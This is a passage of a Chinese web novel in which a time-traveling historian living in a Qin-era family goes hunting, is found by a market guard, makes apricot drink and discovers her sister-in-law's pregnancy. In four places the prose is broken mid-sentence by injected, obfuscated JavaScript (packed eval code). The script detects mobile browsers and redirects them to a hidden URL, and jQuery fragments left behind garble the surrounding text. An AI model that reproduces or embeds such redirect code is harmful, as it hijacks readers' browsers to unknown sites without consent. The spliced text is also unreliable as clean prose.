阿爹还没说完，李卉便抢答了声“好”，种地收粮食始终是第一位的，李卉道，“小吃摊不摆也无妨，反正大伙儿都农忙呢，来买吃食的也少。” 钱是怎么都挣不完的，再想租铺子，也不能急于一时。 这是李卉自己的想法，在家人看来却是通情达理之至。 爹娘和大哥大嫂不再说什么，眼光却先在她身上逡巡而后又几人目光相对，好似在说，“还得是现在的卉娘啊，这要是搁以前……” 咳咳咳，李卉根本不用找借口，直接背起包袱就要出门。 午睡后起来，再雇辆牛车过去，司农监点卯的时辰就刚刚到。 一晃半个月便过去，家里忙翻了天。 阿娘照例织布换钱，因为是农忙，所以布庄那边要的花样也接了地气一些，都是阿娘经年累月绣得相当趁手的纹样，不过李卉却觉得太过朴实反而不怎么喜欢。 阿娘便笑她小孩子心性，“农忙时扎头上防晒和擦汗的，哪有功夫管它美不美？” 李卉却不这么想，她要是下地干活，那也得是这十里八村最靓的小娘子！ 看她撅着嘴说完，阿娘也被她逗笑了，“行，到时候收麦子，我一定给你用最好看的布给你做帷帽和头巾。” 李卉这才肯依。 再过了几日，市集不逢场，又恰逢司农监那边第二日放假，大哥和阿爹将自家的卖地也打理得差不多了，便想又去西山走一趟。 “阿爹，大哥，我也想去打猎。”卉娘听闻他们在话间说起安排，便有了兴致。 后面紧跟了一句，“若您们不放心，我便让阿嫂与我作伴。” 还没等他们说话，阿嫂自己却说这些日子都是自己一个人去摆摊，家中诸事都帮不上忙，就想留在家中帮忙做饭织布。 “阿嫂，你就和我一起去放松一下嘛……”卉娘还在央告，“不然大哥他们不愿意我跟着去。” “哈哈哈……什么话都让你说了，卉妹，你这伶牙俐齿的劲儿啊！” 大哥哭笑不得，不过自己的妹妹只有一个，除了宠着，还能怎么办呢？ 反正西山也不是很远，去就是了。 这边李卉听到大哥松了口，这才有心思去侧面问问阿嫂。 看是不是她最近一直关心的那个问题。 阿嫂却小声低语，“是月信来了，我准备在家里做几条月事带……” 大哥和阿爹一直在院外忙活，李卉才把劝说的声音提高了些： “噢，我还以为是……” “不过大嫂你们才成婚三年，不要着急噢！” 听着她这般小大人的语气，阿嫂也笑了，“阿嫂不急，孩子都是天赐的缘分。再说了，我们的小吃摊才有些起色，我还舍不得休息呢！” “那倒是，就是要辛苦阿嫂了”，李卉满意了，正要跨出房门，却又被阿嫂叫住： “你可有来月事？可要拿两条过去备着？” 李卉赶紧摆摆手，她穿到原身的身体里才两三个月，而她搜肠刮肚也没有关于原身这方面的记忆，就干脆说都还没有来吧。 前世生理期都各种不便，遑论更加原始的大秦啊！ “哎，估计是你之前大病一场伤了气血，将来可要好好调养才是。” “好嘛好嘛”，李卉不知阿嫂是不是生理期多愁善感，怎么变得越发絮叨起来？ “那阿嫂你好好歇着，我先走了。” 说着不等阿嫂回答，李卉便跑进了自己院中。 第一次出门去打猎，大哥还给她新做了一把弓箭，说是让她带着防身用。 她却看上了大哥手边的那把弹弓，兜一个石子儿就能蹦出去老远，吓唬吓唬那些“惊弓之鸟”们应该比较好使。 “行，你拿着吧。”大哥同意了。 阿爹的语气却比大哥显得更加担忧，“定要跟紧我和你大哥，一切以安全为上。” “知道啦，阿爹。”这回她倒是答得很乖巧。 还是因为第一次打猎，大哥充当了前世导游地陪的角色，一路上除了给她讲安全注意事项，还将安县的一些山川风物都说了个遍。 “原来咱们安县不止有西山，还有安山和安水啊！” 安山和安水虽说都是以县城名字来命名，李卉将这一山一水的重要性跟前世的一些情况做了对比关联——它们的地位等同于成都的龙泉山和锦江吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289101|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 据说安山云海日出是难得一见的奇景，与之毗邻的安水也是滔滔而去连绵不绝，看来这安县的风水还真是不错。 “是啊，西山都是隶属于安山一脉的，因为西山离平安巷更近些，我们来这边更多一些。不过，安山也不是远到不可去的地步，等你明年过了生辰，届时全家一起过来游玩赏景。” 听到大哥给了如此承诺，李卉高兴得在原地蹦了三圈。 却又听阿爹说：“今年阿卉你的生辰便没过上，明年我们一定好好热闹一番。” “谢谢阿爹，谢谢大哥。” 原身的生辰是在一月初十，那时的“她”尚在床上，属于植物人状态呢！ 夏日的山林总让人觉得沁人心脾。 而且，比起冬日和初春，山间蹦跶的活物也更多，大哥和阿爹两个打猎惯手一出马，岂有空手回去之理？ 不多时，他们的背篓里便多了些山兔山雀，还有几只野鸡，李卉心道，看来今日的餐食错不了了。 不过跟大哥他们喜好肉食不同，李卉更喜欢的是山间的植物们。 西山林木茂密，走一程路便觉雾气氤氲，林间潮湿，故而在某些倒下的树间，土块一扒拉掉，就能捡到好几朵鲜嫩的蘑菇，无论是一会儿架起火来烤着吃，还是拿回去煮肉类汤羹，又或是用油浸了做拌饭用的蘑菇酱，风味都是一绝呢。 前世小时候的她就爱在寒暑假时往乡下外婆家跑，就为着那一朵朵的鸡枞菌；如今外婆倒是春秋健朗，她自己却因为一些机缘“穿”到了异世，不知道前世的家人们该如何心疼着急地找她呀？看来这世事，真是玄而又玄，哎！ 蘑菇可遇而不可求，但她又找到了些茯苓，过会儿又用锄头挖到了一大把葛根。 茯苓可做茯苓饼，葛根可做葛根粉，都是养生滋补的药膳好食呢！ 阿嫂不是说她需要补补气血吗？她不费吹灰之力就找到了这些，看来今儿真是个丰收的好日子啊！ 不仅如此，她还找到了一棵结满了杏子的高大杏树。 这个时节，若是把这满树的杏子都打下来，背回去，熬煮成酸酸甜甜的杏皮水，夏季炎热，农忙时心焦口燥，谁能拒绝它的诱惑呢？ 这样的想法好是好，就是杏树于十二岁的她来说又有些太高了，于是她便高声呼喊着大哥和阿爹，却不知他们在何时与自己走散的，如今任凭她喊破喉咙，却就只能听到从山林间传回的回音。 “大哥！阿爹！” “阿爹！大哥！” “你们在哪儿啊？” 李卉喊了几声后，便逼着自己冷静下来想对策，因为如果再这样喊下去，阿爹和大哥不知道能不能听到，倒极有可能把豺狼虎豹一类的喊来。 哎，真是不该一时忘形，跑得离家人太远。她更不敢继续走动，因为自己前世的地理也学得不好，在山林间辨认方向的事做不来，再说大哥他们一旦发现自己不在，一定会按照原路返回，来找她的。 幸好，这棵杏树长在上下山都必然要经过的一个陡峭垭口。 但让她没想到的是，那几声呼救之后，来的却是另有其人！ 21.林中野炊 “怎么是你？！” 李卉和来人同时惊呼。 李卉是惊喜，天啊，没摇来自己的阿爹和大哥，西山里也还是有其他活人的。 而公子幸则是庆幸，卉娘一个弱女子，与家人在山林间走散，若他再来得晚些，说不定会被吓得哭唧唧，还好他来了。 “今日我也不当值”，公子幸先开了口，他把那条冲着李卉“汪汪”大叫的狗大喝一声：“大黑，退后！” 大黑见主人发令，只好收起锋芒，乖乖退后。但嘴上却还“呜呜呜”地虚张声势。 李卉虽然一向怕狗，但这可是中华优秀田园犬啊，就还是忍不住向前一步，想要再把它看看清楚——一会儿过后，她得出了结论： “实物果然比博物馆里的雕塑好看多了。” “嗯，你说什么？”公子幸没听清楚。 “啊？我是说，大黑真威风！”李卉笑得眼睛眯。 “你家中养狗了吗？大黑前两个月才生了一窝呢！做了狗娘，它脾气不大好了，你多担待！” 公子幸这话就差把“你要不要养狗，我送你一只”挂嘴边了，李卉一听，觉得这位公子幸说话怎么冷幽默式搞笑—— 后世骂人的“狗娘养的”话，这不是白瞎了这么好的中华田园犬了吗？ “要！”李卉这回没拒绝，“我娘说，家中原本是有一条大狗的，只是有次出门被马车压死了，也没留下什么子女，大哥心疼得什么似的，直说要替狗守孝一年，一年期满后才能养新狗……” “咳咳”，公子幸听完表情甚是精彩，李卉看他憋笑憋得辛苦，便又说道： “我阿爹也是气不打一处来，哪里听过人给狗守孝的？那不真成狗娘养的了？” “还是我嫂子出来说和，就说她看上的就是大哥这份长情，爹娘这才罢了……” 第一次听大嫂提及这事，李卉也如现在的公子幸一般啼笑皆非。觉得大哥真是个脑洞清奇的人，不过从另一个侧面来说，也能看到大哥对于生命的尊重，这才慢慢收起了觉得大哥于此事上行事荒唐可笑的心思。 家丑自曝出来，倒给了公子幸一个正色的机会，“我也喜欢狗，你看我方才不也说“狗娘”嘛！我倒是觉得大哥坦诚直率，很是可爱！” 公子幸没说“你大哥”，而直接说了“大哥”，这点直男的小心机，但看在他勇于相救自己的份上，现在又要从他这买只小狗，李卉这才装着没听出来。 “我也觉得！不过，公子幸，我还是按照市集狗贩子那边的价格付钱给你吧？” 两个人不免都想到了上次的荷叶事件，为了都不尴尬，所以都默契地不再提。 “那我也有个不情之请，你看我们之间的称呼是否可以改变一下？” “成交”，李卉很是豪气地大手一挥，“此后我们便都是朋友了，你今日还路见不平过来相救，干脆我们都互换称呼，以后你也别一口一个小娘子地叫我了，你可是我的半个救命恩人呢！” “成交，卉娘。” “多谢阿幸搭救之恩。” 二人将称呼一事重新论过，公子幸这才继续道，“你为何独自一人在山中？” 李卉此刻神色也松弛了下来，方才扒拉杏树树枝弄得她灰头土脸的，把水囊取下来喝了一口水后，这才气定神闲地将今日如何出来准备做些什么一一告知了他。 公子幸点了点头，又看了看她手里的弹弓，沉吟了片刻道： “你这样太慢了，等我一会儿！不过你得站远一些，等我喊你来捡了，再过来。” 话毕公子幸两手掌心相互搓了一会儿，便一鼓作气如前世运动会上的攀岩选手一般，干脆利落地爬上了树。他在一个树杈前站稳，然后猛摇树枝，枝头的杏子便如暴雨一般落下。 李卉在一旁的一块矮石上坐着，见他越爬越高，地上的柿子越铺越厚，才后知后觉地想到安危一事上来，“公子幸，快下来吧，我只是想带些回去做杏皮水，地上的这些尽够了！” 公子幸倒是下来了，第一句却是：“方才不是说要改称谓的吗？” 李卉见实在躲不过，便浅浅地喊了他一声“阿幸”；再一看时，对面的人几乎笑成了一个满意的傻子。 “咳咳，这深山密林中，也没什么实际之物可谢你的，等我到了市集上……” “到市集上便如何？又给我减免一钱吗？” 李卉为了化解尴尬而千辛万苦想要转换的话题，又被公子幸转了回去。 “那自然是不能再免了，我这小本生意，经得起几免？” 说到生意，李卉任凭面前的人是谁，她脑子里的那一根弦便绷紧了，转身却在自己背篓里翻出几个丑乎乎的软烂杏子，“别看它们没什么卖相，但确是我用弹弓一个一个打下来的噢！” 公子幸见状忙接过，将那几个杏子团在手中，确实软乎乎的，还能看到被弹弓射出去的石头打中的小坑。杏子皮薄，烂的地方坑坑洼洼，但一口咬下去是真甜。 可这甜味，却不及面前灵动少女笑靥之万一。 这时，林中响起了着急而琐碎的脚步声。 是阿爹和大哥他们，见她还安然无恙地呆在原地，便知道按原路返回来找定不会错。却发现她身边还有一人。 “之前我和阿爹只记得去追那只野兔了……” 言下之意忽略了她。 可李卉也在脑中梳理时间线后发现，或许她才是先走散的那一个： “我记起来了，应该是我先发现的这棵杏树！” 见彼此都是安全的，更重要的是李卉是安全的，大哥一打量身边这个比自己小不了几岁的年轻人，“承蒙郎君搭救，不胜感激。” “无事，举手之劳罢了，路见不平拔刀相助嘛。” 李卉听公子幸这般说，恍惚在听《水浒传》的评书，不过她也不想去考究这句话最早是不是施耐庵老先生说的，从善如流地点了点头，还说了要从公子幸家抱小狗的事。 “真的吗？！那就太多谢了！”大哥难以置信，一点也不像个稳重的从军之人。 看得出来他是真喜欢。 李卉和公子幸相视一笑，再看阿爹在旁边只捡杏子不说话，也知道他是同意的。 等他们把地上的杏子捡完，李卉才发现阿爹和大哥方才折返回来之时也不是空着手的，“离兔子洞不远，也有一棵比这个小不了多少的杏树，想着你说需要我们就打了捡了些回来。” 不用说，去了这么久，定是在这上头也耽误了功夫。 李卉心中感动只想化作美食报答他们。 “看日头离暮食也不远了，不如我们在西山上野炊吧？” 其他三个人你看看我，我看看你，再看看天边的日头，按目前的脚力，赶回去吃暮食是完全没问题的啊！ 还是公子幸的思路转变了过来：“我也有点饿了，今日乘兴出来打猎，朝食也没吃几口，不知小娘子想做点什么来吃？” 李卉揶揄地看了他一眼，“你不是说要改称呼吗？怎么在我父兄跟前怂了！” 面前的人摸摸鼻头，李卉根本不用前世偶有涉猎微表情心理学，就知道他心虚。 不过看在就他懂了自己腹中空空的份上，就暂且原谅他吧。 “不如吃叫花鸡，也不用起釜垒灶，在地上刨个坑出来，再把鸡用几片树叶一裹，丢进坑里一烧，熟了就可以吃……” 李卉简单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295483|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说了下叫花鸡的做法，大哥立刻心领神会： “这就跟你在家做过的荷叶鸡一样嘛！” “对！”李卉点头，“差不多的！” 接着她便像个小管家似的，给每个人都派了活儿，刨坑的事归阿爹，大哥捡柴，因为他贡献了一只野鸡，自然就不能派给他更重的活儿啦；本来公子幸想把他仅有的三只猎物中的唯一的一只鸡拿出来，李卉二话不说就怼了回去： “我们的多些，就吃我们的吧！” 大哥捡柴回来听到她这样说话，还制止了她：“阿卉啊，说话不要夹枪带棒嘛！” “对的，这个小伙子看着就比你大哥会打猎，今日是我们耽误了他些时辰……” 正要接着跟李卉说话的大哥：…… 公子幸却不敢就这样接话，这是他未来的大舅哥啊，千万要跟他打好关系才行。 于是他道：“老丈，万不敢如此说，我确实今日出门晚，不比大哥勤快。” 李卉把鸡肉裹好树叶，“咚”的一声往灶间一丢，再用火折子把火点燃，一气呵成之后，才来回味方才公子幸的这句话，然后脑中突然冒出一个前世看到的词组：“求偶期男性”…… 大哥和阿爹此刻还蒙在鼓里，李卉心里却跟明镜似的，我就故意做得粗鲁，看你还心仪不？ 哪知这哥直接来了句：“小娘子好气魄！” 真是上赶着硬夸啊！ 不过半个时辰之后，叫花鸡——准确地说应该是树叶烧鸡——的香味已经透过柴火钻了出来。 “哇，好香！”是公子幸。 “是啊，真的好香！”是阿爹。 “让我一个人吃完一整只都吃的完！”自然便是大哥啦。 李卉见他们翻来覆去只说“香”，便知道自古以来的直男，词汇都是如此匮乏的。 结果下一秒，阿爹却要她将这只鸡的两个鸡腿都拿给公子幸吃。 当然，公子幸立即推拒——李卉哀怨地看着那只鸡腿想，你最好是真的不想吃。 结果一向随和的阿爹却坚持，直到看到一个鸡腿到了公子幸手中，才说出理由： “今日之恩，岂是两个鸡腿就能报答的？让你吃就吃嘛。我们家阿卉啊，因是家中最小的，自小就被惯坏了，你也不要同她生分，还是要朋友一样相交的好……啊对，还没问你叫什么呢？” “多谢老丈。”公子幸答得恭敬，“您喊我阿幸就好。” 阿爹从方才再次见到这个年轻人起，便从他望向自家女儿的眼神中看到了自己年轻时的影子，一开始还觉得阿卉还小呢，可后来想，十二了，也不小了，慢慢地和男子交谈着来看看，总比过了十五岁直接盲婚哑嫁好嘛！ 就是这两人的年岁，似乎差得有一点点多，不过男子大点也好，正好成熟些，托得住阿卉这样的活泼和跳脱的性子！ 李卉才不知道阿爹想了这么多，只一心想吃鸡腿。 可公子幸方才便已经答应了，还会给她吗？ 李卉心中说了一万遍的“两只鸡腿撑死你”，结果下一秒一只鸡腿便递了过来： “多谢老丈盛情，只是我一人吃不完这两个，不如我与小娘子一人一个？” “那当然好啦！”李卉马上接过来，害怕阿爹反悔，又赶紧咬上一口。 “啊，松叶烤鸡真好吃啊！” 她搞不明白为何这样美味的鸡肉，前世之人要命之为“叫花鸡”，难道真如一个美食博主所说，叫花子们都没有那么精致的锅具厨碗，只有一抔黄泥裹鸡身？ 但无论如何，李卉还是要多谢当年的那个可爱的叫花子，才有了今日合着夏日林间凉爽的风，吃到的这顿纯天然的美味野餐呢！ 22.杏皮水 因这日在西山吃了大半只鸡，回到家中时，她虽然累，却并不饿。 故而阿嫂做的暮食，她只喝了点羹，又吃了几勺煮得软烂的豌豆，便要去歇着。 天气越来越热，她睡了一会儿便浑身是汗，全然不似白日里在西山时，清风一路相伴，惬意又舒心。 既睡不着，那就起来吧。 可院落里一片漆黑，反倒是月亮更加明亮。 李卉便穿好衣裳，走出房门。 之前看到过一个研究，说是人在夜晚时最忌多思，但她是个俗人，还是个穿越过来的俗人，不知何时回去，又怎样回去。 “难道我要在这里一辈子吗？从前世的李卉真正变成大秦的一个卉娘？” 她突然之间的感怀，连月亮都没法回答。 脖子抬得酸了，李卉才低下头来。 凭着白天对这个巴掌大的小院的了解，闲庭信步。 却在那处石磨上，看到了满满两簸箕的杏子。 那是今日从西山背回来的。 如今却被摊开铺平在这对着清风吹干。 就在这一瞬间，方才那些EMO的情绪全被这份被尊重善待的温暖填得满满当当。 不用想也知道，一定是全家人看到她第一次出门打猎累到饭都吃不下，今日还遭受了那样的惊吓，对于她很宝贝的杏子，怕堆在一起放坏了，这才摊开来。 她虽主业是研究秦汉史，还在三尺讲台与学生们坐而论道，可总觉得隔靴搔痒；如今得了这机缘穿了过来，穿到一个大秦小娘子身上，借她的身心来经历一番，立刻便觉得有太多值得书写和记忆的地方，待来日再回到原来的社会中，将所见所闻所感一一记载下来，定会给她的学生和研究课题源源不断地注入灵感吧。 “难怪都说历史书上的任何一行字，背后都可能是一个人独一无二的一生。” 月下的这一番沉思，让李卉对这句话的分量有了重新的认识。比如她这几个月来所经历的一切，或许在史书上都不会有只言片语，可她却深切地体唔过。 就好像他们家的小吃摊，从一开始只卖蒸饼，如今菜品也逐渐多了起来，将来或许还会开店，然后开分店，然后成为安县的一张闪耀名片…… 就好像她在原身的家中感受到的家人之间的照顾与温情…… 还好像她与那个叫“幸”的市集守卫，从一开始的陌生到渐次的熟悉，或许将来还有其他可能，也未可知…… “咳咳，扯远了。” 李卉出言把自己的思绪拉回来，然后趁着月色，摸起一个甜杏来，放进了嘴里。 自然熟透的杏，果味很浓，味道也香甜，拿来煮杏皮水正合适。 夜色越来越深，当困意终于来袭时，李卉第十个杏子也吃完了，她又变成了那个“既来之则安之”的前世穿越者。 “凡事皆有机缘”，李卉随口打了个偈语，迷迷糊糊睡去，一醒来时已天光大亮。 “看来昨日是累狠了……” 她比平时晚起了近半个时辰，等她吃上朝食时，家中便只剩下织布的阿娘。 恰好阿娘来烧水，便碰见了她。 李卉那句“早安”没说出口，只含混地喊了声“阿娘”。 “你昨日少背些杏子回来，也少受些罪嘛，哦对了，你准备用杏子做什么？” “杏皮水，阿娘。”有了昨日的那番思考后，李卉决定对家人再耐心一点。 “我是预备着到时候收麦子农忙，给大家做些新鲜的浆水饮子来喝。杏皮水解渴还解暑，阿娘织布也费眼睛，一坐就是大半天，喝点杏皮水也解解乏……” 李卉故意将话说得前言不搭后语，显得孩子气。字里行间却又是对家人的拳拳关切之情，不用说这一席话听得阿娘很是受用，她伸手在李卉的左脸颊上摸了摸： “那好，我们便等着啦。” “嘿嘿，等我下值了就煮。” 但等大伙儿喝上她煮的杏皮水，却已是六七日之后。 因为“杏皮水”可不是字面理解的用“杏子皮”来加水熬煮，而是要将新鲜的杏肉晒成杏干，再加上山楂干、枸杞、陈皮还有冰糖，煮好后酸酸甜甜，如果能如前世一般有冰箱，再放进冰箱里冰镇一下，味道简直更绝，午后疲乏，喝上一杯，简直是神仙般的“下午茶”。 杏皮水的方子是她之前跟着网上一个比她咖位还大的美食博主复刻过后记下的。 只可惜大秦没有冰箱便不说了，冰糖也没有，好在这几日日头好，杏肉慢慢变成了杏干，家中也还有些去年晒好的山楂干，阿嫂晚间归来时再把她要的陈皮和枸杞从药铺里买来，不消一刻钟，杏皮水便煮好了。 “哇，快让我喝一口！” 摆摊一天的阿嫂，地里劳作一日的阿爹和阿兄，还有圈椅里坐着的阿娘，都被这股清新的果香吸引，大哥渴得嗓子冒烟，他顾不得烫，便拿起木勺就是一口。 当然也毫无例外地被烫得直伸舌头，可就是不肯吐出来，硬着头皮吞了下去。 阿嫂见他猴急，直接不顾爹娘俱在，往背上抬手就是一掌。大哥挨了这么一下便老实了，不过这倒是让李卉刮目相看—— 阿嫂应不是第一次这么干了，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301219|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然怎么爹娘只顾着低头小口啜饮而不制止？ 看来女子地位在大秦也还是可以的嘛，这一时代人人都要劳作挣钱，汉代的皇后亦有兵权，幸好不是穿到明清时期，一屋子世家贵女为了一个男人争得你死我活，这样的日子才没有如今的有声有色呢！ “果然还得赚钱啊！”小吃摊的生意好起来了，阿嫂脾气也涨了，多好。 李卉先给大家一人一小杯饮，釜中的一半用盆盛出来，直接吊进了后院井里。 在没有冰箱的时代，地下井水可是一个“冰镇神器”。 而另一半则也用盆装起来，放进打好井水的陶盆里，就跟前世酒店的那些自助饮料区，手中的喝完了，再用个小木勺一点一点往杯中舀。 “虽然舀起来放日头底下的井水比不上后院井里的，但味道也不错。爹娘，大哥，阿嫂，你们觉得好喝吗？”李卉又开始问他们要大众点评。 “好喝，我尤其爱这个颜色，跟市集上那些珍宝铺子里卖的珍珠玛瑙一般……” 阿娘评了杏皮水的成色。 “好喝，不甜不腻，喝一口便透心凉。” 阿爹评了杏皮水的味道。 “那若是爱吃糖的小儿买了，会不会觉得不够甜？” 阿嫂是从小吃摊掌柜的角度提出的建议。 “小孩儿不会这么在意味道的，能上市集买吃的，便心满意足了……”大哥接话。 李卉想了想，觉得大哥大嫂说的都没错： “那便用现成的杏子磨些果酱，若爱吃甜的便在买杏皮水时送他们一勺。” 众人口味各异，开小吃摊的不就是得尽力调众人之口嘛？ 到时不光有果酱，还有杏肉做的果脯，最不济还可以卖直接晒好的新鲜杏干嘛！ 杏皮水上市之前，已成为李家人的夏日必备饮品。 阿爹和大哥出门劳作，每日必装一囊；阿嫂出门摆摊，有时候一壶还不够，还从事市集上买了个大一号的水囊；阿娘在家最为方便，除了要去布庄交货之外，其他时候都必然要按照李卉教她的方法煮上，上了年纪不多吃寒凉之物，温热款的也好喝，只是比井镇的稍微酸一些。 而阿卉自己呢，照例是要带到司农监去的。 因为在这里，她还多了个试吃的新伙伴——就是一同通过考核的那位阿荇姑娘。 荇娘也是个爱吃的，还让李卉以后每日都单独给她带一壶： “我家阿嫂有两三个月身孕了，昨日我带回去的半壶，都被她一个人喝光了！” 电光火石间，李卉想起了阿嫂，莫非…… 23.添丁进口 本着“不怕一万，只怕万一”的小心和谨慎，李卉头一回向后厨管事临娘告假。 然后直奔市集而去，赶在市集大门下钥之前，气喘吁吁地拉着阿嫂上下打量。 “阿嫂，你最近是否觉得身子疲乏？” “每日摆摊都有钱赚，才不疲乏呢！” “那你是否有食欲不振之感？” “不曾啊，昨儿肉夹馍的我都吃了两个，还喝了两壶杏皮水呢！” ……我的憨阿嫂啊！杏皮水里有山楂，若是小侄儿或小侄女有个闪失，那可怎么得了？再想赚钱，也要顾惜自己腹中骨肉啊！ “卉娘，你究竟为何事惊慌？”李卉越是不说话，阿嫂就越是要打破沙锅问到底。 直到她见李卉火急火燎地要收摊，再到片刻后她被拉着七拐八拐到了市集上的一家医馆前，最后等那须发皆白的郎中为她把了脉，气定神闲地道了一句： “娘子身孕已有月余，初时不可再劳心劳力，以休养为要。” “那喝了有山楂的饮子也无事吗？”李卉还是很担心。 “适量即可，切勿多食”，郎中让她安心，接着又赞许地夸她：“小娘子年纪轻轻，没想到还颇懂些医理啊！” 大夫的一番话，让阿嫂彻底地明白过来，原是为着她的事，却要一个未出阁的小娘子来操心，但从这件事上论，她这个大嫂当得是真不怎么样啊。 “只是近来从看的杂书上学来的，并不精通，这不差点闹笑话了……” 她说的是山楂，可在阿嫂眼中，与郎中礼貌应对的她简直在发光。 确定无事，再遵医嘱抓了几副药回去以做安胎之用。 按照前世的医学理论，此时阿嫂还未度过孕三月的不稳定期，是该格外小心。 于是李卉心中一边盘算一边便同阿嫂商量，往后她不再出来摆摊，就在家中做好后勤；而她自然也会跟司农监那边说明情况，看如何能够协调自己的时日，以免两方都不耽误。 本来阿嫂还在埋怨这个孩子来得不是时候，嘴上也骂了大哥几句。 李卉只当她觉得自己听不懂，便过耳不过心，嘴上还不忘安慰她孩子都是天赐的礼物，“说明我的小侄儿是个有福的，家里条件越来越好了，他便来了……” “那倒是。”阿嫂边走边摸了自己的小腹，“就是我不去摆摊的话，你又要顾着那头，这样一来，我们家的进项就又要少一些啊……” “大嫂说哪里话，这些话千万别让爹娘知道，我知道他们盼这个孩子很久啦……” 而且钱是怎么都赚不完的，这点李卉看得很开，见阿嫂脸上有了笑意，“那咱们再快些，好回家报喜呀！” 不曾想出了医馆，却迎面碰上了公子幸。 难不成他一直跟着我？李卉扫一眼他的着装，倒不是当值时的那套，不过她还是想揶揄他两句，以泄被跟踪之愤：“我当公子幸还兼着市集内治安护卫之责哩！” 阿嫂扯了扯她的衣角，示意她万不敢这样跟他说话。可看一眼对面的人，又似乎觉得没有那么要紧。 公子幸扫了一眼旁边的阿嫂：“我……和阿卉是好友。” “只是……你为何不唤我阿幸？” 阿嫂难以置信地看向李卉，眼神里写满了询问：你俩关系何时到了这一步？ 可见李卉并未接茬，几个眼神逡巡后，阿嫂便也差不多了解了是怎么回事—— 她成家之前，有个人也是这么为她做尽好多事情，打不还手骂不还口的，如今那个人成了她的丈夫，又成了她孩子的父亲呢！ 看来，不久之后，她要有一位市集守卫做妹婿啦！ 作为过来人的阿嫂默默地退后，让他们两个年轻人自己去聊。 她却并未停止过打量：嗯，个头高高大大，蛮合适；不过看着年岁相差得有点大，这倒是有点委屈卉妹了，可看着脾气也好，这倒是能和阿卉相合…… 离阿嫂较远的李卉自然是不知这些的，她被公子幸塞了一只小狗： “我……我并不是有意的……我是给你把这只狗送过来……” 看到手里突然被塞的那只黑汪汪的家伙，李卉心里的气消了大半。她想起前些时候在西山之中，确实是说过要从家里给她抱只小狗过来。 李卉看了一眼阿嫂，脸色变好看了些，浅浅地行了个礼，并道了个歉，就说方才自己言语间多有冒犯，公子幸却全然不以为意，只当是没发生过： “今日我不当值，但我想着，正值农忙，抱只小狗过来或许能帮上些什么忙……” 李卉心道，才不到两月的狗，能帮什么忙，不添乱就不错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305279|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “原本是想到摊位那边交给你阿嫂的，因为我也没想到能碰上你，因为你好些日子都不到市集这里来了……” 李卉又心道，还说没跟踪我，连我有哪些日子没来都一清二楚，这是意欲何为。 但这么一想后，自己现在这种矛盾扭捏的心理，不正是慢慢陷入爱河的表现吗？ 莫非自己真的慢慢喜欢上他了？ 意识到这一点，她赶紧退后半步，好好打量了一番面前的人。 诚然，若是做相交好友，公子幸确为不二人选，但她不想就这样轻易地把自己的后半生就这样交出去，而且都还没见大秦的其他儿郎呢。 所以她现在还不能有所表示。 “哪知今日我过来时，正好碰见你把你阿嫂拉着往医馆去，你又那般火急火燎的，我这才留了心跟着，就想着若有什么事，我便好上前帮忙……” 公子幸该说的也都说了，李卉这下并没有在心底腹诽于他，而是直接喜滋滋地告诉她：“我要当姑姑了，我们家添丁进口啦……” “如此便恭喜阿卉……卉娘……小娘子了！”说着公子幸还向阿嫂作了个揖。 听着他话中的这三个称呼的变化，李卉也知道了他的纠结，“公子幸不必拘泥于喊什么，因我今日无理在先，你非但不生气，反而还逐层向我解释，就冲这一点，你这个朋友我便认下了……对了，今日还要多谢你如约送来小黑，往后它便是我家小侄儿的儿时伙伴，它也就是我家的人，请相信我们一定会好好善待它……” “那你唤我一声阿幸吧。”公子幸见有机可乘，便忙劝她改口。 ……李卉想，反正喊一声也不掉块肉，“多谢阿幸。” “哎，无妨，无妨，家里还有好几个，若以后还需要半大的，只管给我说。” 李卉终于被这个痴儿逗得“噗嗤”一声笑了。 然后两人作别，她过来拉起阿嫂，“走吧，阿嫂，我们回家。” 阿嫂边走边一步三回头，见那大小伙子的眼神一直羞涩且专注地有意无意瞄她的卉妹，还有意地与她保持些距离——这一点深得她心。 